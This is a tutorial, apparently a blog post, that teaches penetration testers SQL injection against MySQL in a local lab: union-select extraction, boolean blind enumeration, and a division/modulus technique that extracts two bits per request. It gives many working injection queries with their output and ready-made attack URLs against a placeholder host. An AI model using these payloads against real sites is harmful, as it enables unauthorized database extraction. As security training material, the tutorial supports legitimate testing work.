The largest reason for writing this is to show active penetration testers methods of testing things locally before they test them remotely, or if they want to write their own scripts. I'm not going into all of this in detail, more in-depth research is listed at the end of this document.
Creating a test environment
mysql> create database injection_tests; Query OK, 1 row affected (0.00 sec) mysql> use injection_tests; Database changed mysql> create table injectable (id int auto_increment primary key, value varchar(255)); Query OK, 0 rows affected (0.09 sec) mysql> insert into injectable values(null, 'This is the first record'); Query OK, 1 row affected (0.04 sec) mysql> insert into injectable values(null, 'This is the second record'); Query OK, 1 row affected (0.05 sec) mysql> insert into injectable values(null, 'This is the third record'); Query OK, 1 row affected (0.05 sec) mysql> select * from injectable; +----+---------------------------+ | id | value | +----+---------------------------+ | 1 | This is the first record | | 2 | This is the second record | | 3 | This is the third record | +----+---------------------------+ 3 rows in set (0.00 sec)
Information gathering: select concat(version(),0x3a,database())
Our test VM:
mysql> select concat(version(),0x3a, database()); +-----------------------------------------+ | concat(version(),0x3a, database()) | +-----------------------------------------+ | 5.5.32-0ubuntu0.12.04.1:injection_tests | +-----------------------------------------+ 1 row in set (0.00 sec)
In band: Union Select
In band injections are non-blind injections that will return raw data to the page. In some cases, such as a subqueried or staged query being used to determine information, union select will not work because it will not assign a proper value.
For our in-band injection, we will assume the following url shows the following data on the page:
- http://domain.tld/injectable.ext?id=1
mysql> select value from injectable where id=1; +--------------------------+ | value | +--------------------------+ | This is the first record | +--------------------------+ 1 row in set (0.00 sec)
So first we need to empty the results to make union select properly append the correct amount of data:
- http://domain.tld/injectable.ext?id=-1
mysql> select value from injectable where id=-1; Empty set (0.00 sec)
Now to see how a union select query works:
mysql> select value from injectable where id=-1 union select concat(version(),0x3a, database()); +-----------------------------------------+ | value | +-----------------------------------------+ | 5.5.32-0ubuntu0.12.04.1:injection_tests | +-----------------------------------------+ 1 row in set (0.00 sec)
If the input you're tampering with on vulnerable.tld/injectable.ext is vulnerable to in-band injection, you should be able to go to:
- http://domain.tld/injectable.ext?id=-1 union select concat(version(),0x3a,database());
Where the data normally appears that says "This is the first record" in the html output, you will now find a piece of text that says "5.5.32-0ubuntu0.12.04.1:injection_tests"; the text before the colon (:) is the version, and the text after is the database name.
Out of band
There are two types of out of band (blind) vulnerabilities, and both types have two methods of exploitation: enumeration and extraction. The two types consist of partially blind injection and full blind injection. Partially blind injection results when the result of the page output is the result of multiple queries. Full blind injection requires timing attacks.
mysql> alter table injectable add column comment varchar(255); Query OK, 3 rows affected (0.30 sec) Records: 3 Duplicates: 0 Warnings: 0 mysql> update injectable set comment="this is the first comment" where id=1; Query OK, 1 row affected (0.05 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> update injectable set comment="this is the second comment" where id=2; Query OK, 1 row affected (0.05 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> update injectable set comment="this is the third comment" where id=3; Query OK, 1 row affected (0.04 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> select * from injectable; +----+---------------------------+----------------------------+ | id | value | comment | +----+---------------------------+----------------------------+ | 1 | This is the first record | this is the first comment | | 2 | This is the second record | this is the second comment | | 3 | This is the third record | this is the third comment | +----+---------------------------+----------------------------+ 3 rows in set (0.00 sec)
Partial blind
Partially blind injection results when the result of the page output is the result of multiple queries. For this we will modify the injectable table:
mysql> alter table injectable add column comment varchar(255); Query OK, 3 rows affected (0.30 sec) Records: 3 Duplicates: 0 Warnings: 0 mysql> update injectable set comment="this is the first comment" where id=1; Query OK, 1 row affected (0.05 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> update injectable set comment="this is the second comment" where id=2; Query OK, 1 row affected (0.05 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> update injectable set comment="this is the third comment" where id=3; Query OK, 1 row affected (0.04 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> select * from injectable; +----+---------------------------+----------------------------+ | id | value | comment | +----+---------------------------+----------------------------+ | 1 | This is the first record | this is the first comment | | 2 | This is the second record | this is the second comment | | 3 | This is the third record | this is the third comment | +----+---------------------------+----------------------------+ 3 rows in set (0.00 sec)
- http://vulnerable.tld/injectable.ext?value=This is the first record
mysql> select id from injectable where value='This is the first record'; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec) mysql> select comment from injectable where id=1; # id=1 comes from the above query +---------------------------+ | comment | +---------------------------+ | this is the first comment | +---------------------------+ 1 row in set (0.00 sec)
Boolean enumeration
Boolean enumeration takes 1 request per bit to determine a value. While this creates to a larger number of requests and is therefore highly obvious in logs, its a bit easier than bitwise extraction in this particular instance. In this case union select isn't going to work, and here's why:
mysql> select id from injectable where value='This is the nonexistent record' union select concat(version(),0x3a,database()); mysql> select comment from injectable where id=5.5.32-0ubuntu0.12.04.1:injection_tests; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to yourMySQL server version for the right syntax to use near '.32-0ubuntu0.12.04.1:injection_tests' at line 1
You won't see a query error, you just wont see data on the page when you visit the injectable query. So back to sql, our target value will again be the output of "concat(version(),0x3a,database())", or "5.5.32-0ubuntu0.12.04.1:injection_tests". This is obviously going to be a different string in your target, but this article is about developing your technique locally. So, lets just get the first letter with a normal query:
mysql> select mid((select concat(version(),0x3a,database())),1,1); +-----------------------------------------------------+ | mid((select concat(version(),0x3a,database())),1,1) | +-----------------------------------------------------+ | 5 | +-----------------------------------------------------+ 1 row in set (0.00 sec)
To get its ascii code:
mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1)); +------------------------------------------------------------+ | ascii(mid((select concat(version(),0x3a,database())),1,1)) | +------------------------------------------------------------+ | 53 | +------------------------------------------------------------+ 1 row in set (0.00 sec)
Remember, we're usually only injecting into the first query. As our first example we'll look at:
mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127'; Empty set (0.00 sec)
Notice it returns an empty dataset, but if we change our comparison to less than:
mysql> select id from injectable where value='This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127'; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
That's because the ascii value, '53', is less than 127 - hence the normal result from the query is returned, and the text of the first comment is displayed on the page.
These urls would be represented as:
- http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) > '127
- http://vulnerable.tld/injectable.ext?value=This is the first record' and (select ascii(mid((select concat(version(),0x3a,database())),1,1))) < '127
Bitwise extraction via comparative precomputation
In this case we'll use the same query as our last examples, "select id from injectable where value='This is the first record'". So in this case we have 3 records:
mysql> select * from injectable; +----+---------------------------+----------------------------+ | id | value | comment | +----+---------------------------+----------------------------+ | 1 | This is the first record | this is the first comment | | 2 | This is the second record | this is the second comment | | 3 | This is the third record | this is the third comment | +----+---------------------------+----------------------------+ 3 rows in set (0.00 sec)
Lets make this a little more realistic:
mysql> update injectable set id=23 where value='This is the second record'; Query OK, 1 row affected (0.10 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> update injectable set id=93 where value='This is the third record'; Query OK, 1 row affected (0.04 sec) Rows matched: 1 Changed: 1 Warnings: 0 mysql> select * from injectable; +----+---------------------------+----------------------------+ | id | value | comment | +----+---------------------------+----------------------------+ | 1 | This is the first record | this is the first comment | | 23 | This is the second record | this is the second comment | | 93 | This is the third record | this is the third comment | +----+---------------------------+----------------------------+ 3 rows in set (0.00 sec)
Now the ID's aren't in perfect order. Notice we only have three records-- that's ok. We can still make it so it requires less queries to determine the same amount of data. In stead of using bit shifts, we'll use division and modulus. Before we go there though, lets do a little join query :
mysql> select *,@v:=@v+1 as pos from injectable y join (select @v:=0) k; +----+---------------------------+----------------------------+-------+------+ | id | value | comment | @v:=0 | pos | +----+---------------------------+----------------------------+-------+------+ | 1 | This is the first record | this is the first comment | 0 | 1 | | 23 | This is the second record | this is the second comment | 0 | 2 | | 93 | This is the third record | this is the third comment | 0 | 3 | +----+---------------------------+----------------------------+-------+------+ 3 rows in set (0.00 sec)
Notice that the position indicated is 1,2, and 3- this is the actual row number, not the id stored in the table. This is important because now we can apply it to our original query, this time going after the second record:
mysql> select id from injectable where value='This is the second record'; +----+ | id | +----+ | 23 | +----+ 1 row in set (0.00 sec) mysql> select id from injectable where value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2); +----+ | id | +----+ | 23 | +----+ 1 row in set (0.00 sec)
This will still display the second comment because the id returned matches the text, however it does not contain the text at all. To fix the issue with quotes in the url,
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1'; +----+ | id | +----+ | 23 | +----+ 1 row in set (0.00 sec)
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1
Notice this just gets you the second record displayed. If you wanted to crawl the records (necessary for precomputation), you could simply increment the WHERE statement in the query where it says "where pos=2":
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=1) and '1'='1'; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec) mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=2) and '1'='1'; +----+ | id | +----+ | 23 | +----+ 1 row in set (0.00 sec) mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=3) and '1'='1'; +----+ | id | +----+ | 93 | +----+ 1 row in set (0.01 sec)
Now for this new trick I'm about to show you to work, we have to realize that the maximum value of our rows is 3. Notice when we go to 4 there is an empty dataset, which would force the return of no comment on the page:
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=4) and '1'='1'; Empty set (0.00 sec)
So in this particular example, we can actually use the "null" value as a fourth value. The same result applies when we place pos=0, and therefore we can use it as a 0-3 counter. Boolean enumeration bases its findings on yes or no answers (true or false) which results in it taking one request to determine the value of one bit. But in this case, we actually have the access to two bits of data, because we are using the null value as a placeholder for 0. The maximum value of a nybble (4 bits) is 15. So, it can only go into 4 using integer division 0-3 times. Not only that, but the value of 15 modulus 4 can also only be 0-3. So first lets concentrate on selecting a single nibble of data.
mysql> select ascii(mid((select concat(version(),0x3a,database())),1,1)); +------------------------------------------------------------+ | ascii(mid((select concat(version(),0x3a,database())),1,1)) | +------------------------------------------------------------+ | 53 | +------------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select hex(mid((select concat(version(),0x3a,database())),1,1)); +----------------------------------------------------------+ | hex(mid((select concat(version(),0x3a,database())),1,1)) | +----------------------------------------------------------+ | 35 | +----------------------------------------------------------+ 1 row in set (0.00 sec) mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1); +-------------------------------------------------------------------+ | mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) | +-------------------------------------------------------------------+ | 3 | +-------------------------------------------------------------------+ 1 row in set (0.00 sec)
Now integer division would tell us:
mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4; +-------------------------------------------------------------------------+ | mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4 | +-------------------------------------------------------------------------+ | 0 | +-------------------------------------------------------------------------+ 1 row in set (0.00 sec)
And modulus tells us:
mysql> select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4; +-----------------------------------------------------------------------+ | mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4 | +-----------------------------------------------------------------------+ | 3 | +-----------------------------------------------------------------------+ 1 row in set (0.00 sec)
So we can say the first query results in 0, so 0 * 4 = 0, then add the remainder (the modulus) 3. How do we know what we got? Well, the first injected query, looking something like:
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1'; Empty set (0.00 sec)
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
The page returns nothing because of the empty set, and we know the value of our division by 4 is zero. So, 0 * 4 = 0, and we will just add the 3. We can get the three from:
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) % 4)) and '1'='1'; +----+ | id | +----+ | 93 | +----+ 1 row in set (0.01 sec)
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
Which returns the third comment, and therefore you know the value of pos is 3. Now we know the first nybble is 3, onto the second:
mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1'; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec) mysql> select id from injectable where value='' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) % 4)) and '1'='1'; +----+ | id | +----+ | 1 | +----+ 1 row in set (0.00 sec)
So for our formula, dividend * 4 + modulus, we can say 1 * 4 + 1, or 5. The url's to obtain this would be:
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
Respectively. Both pages return the first comment, so you can say the result is 5. Now we've calculated a byte. We had only 3 records in the database, but it only took us four requests to get a byte:
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) div 4)) and '1'='1
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),1,1) %25 4)) and '1'='1
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) div 4)) and '1'='1
- http://vulnerable.tld/injectable.ext?value=' or value=(select value from (select value,@v:=@v+1 as pos from injectable y join (select @v:=0) k) x where pos=(select mid(hex(mid((select concat(version(),0x3a,database())),1,1)),2,1) %25 4)) and '1'='1
So given that you only had the values of two bits to work with, 0-3, derived from 3 records and a null output, you could still easily retrieve two bits of data per request (2 * 4 = 8 bits = 1 byte).
Awesome stuff!
ReplyDelete